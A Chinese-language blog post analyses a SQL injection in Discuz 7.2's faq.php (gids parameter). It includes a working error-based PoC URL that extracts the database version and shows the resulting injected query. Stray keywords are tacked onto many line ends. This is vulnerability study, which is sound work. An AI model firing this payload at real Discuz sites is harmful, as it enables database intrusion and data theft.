寫在前面的話:分析完整個漏洞,不得不感嘆,發現漏洞的人真的好細心呀。php
在分析整個漏洞以前,沒看poc,而後就直接看faq.php 準備試試本身發現漏洞的能力,可是分析完一整個php,也是卡在 in() 這裏,由於整個faq.php就這裏的參數是可控的。可是也沒看出什麼來,最後看了poc以後煥然大悟,而後開始感慨。html
先看poc吧,按着poc來分析。sql
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23數組
因爲discuz開啓全局變量註冊,因此在看代碼的時候都不用聲明請求的方式。這是初看discuz7.2時候的困惑。函數
根據給的poc,發現action等於grouppermission的時候,而後參數只有gids,看到gidsorm
foreach($gids as $row) { $groupids[] = $row[0]; } $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
進入for循環,而後把$gids中第一個數組賦值給$groupids,看到這裏的$row[0],當遇到數組時,取第一個數組,當遇到字符串時,去字符串的第一個字符。htm
這時候咱們的poc是gids[99]=%27,因爲discuz7.2的全局變量會對'進行自動過濾,也就是添加反斜槓 \'blog
這時候$row[0]取出來的值是反斜槓\ 。字符串
第二個參數取出來的是io
) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#
而後進入implodeids()函數,
function implodeids($array) { if(!empty($array)) { return "'".implode("','", is_array($array) ? $array : array($array))."'"; } else { return ''; } }
implodeids()函數功能就是對$array進行切割,並加上',' 這時候返回的值是
'7','\',') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#'
咱們能夠看到反斜槓幹掉了一個單引號,剩下另外一個單引號用#來註釋掉,這時候就能跳出來執行sql語句了,對於'\',' 因爲反斜槓幹掉了一個單引號,因此他被認爲是個字符串。
整個查詢是這樣的:
SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\',') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#')
這個漏洞告訴咱們要聯繫上下文,對於可控參數不要放過,對於取值切割的字符串要格外注意。
這個漏洞有點像php4fun 的第一題
地址: http://www.2cto.com/article/201310/250260.html
看到個文章,順便加上。我保存到了印象筆記裏面。
http://qqhack8.blog.163.com/blog/static/11414798520146711246279/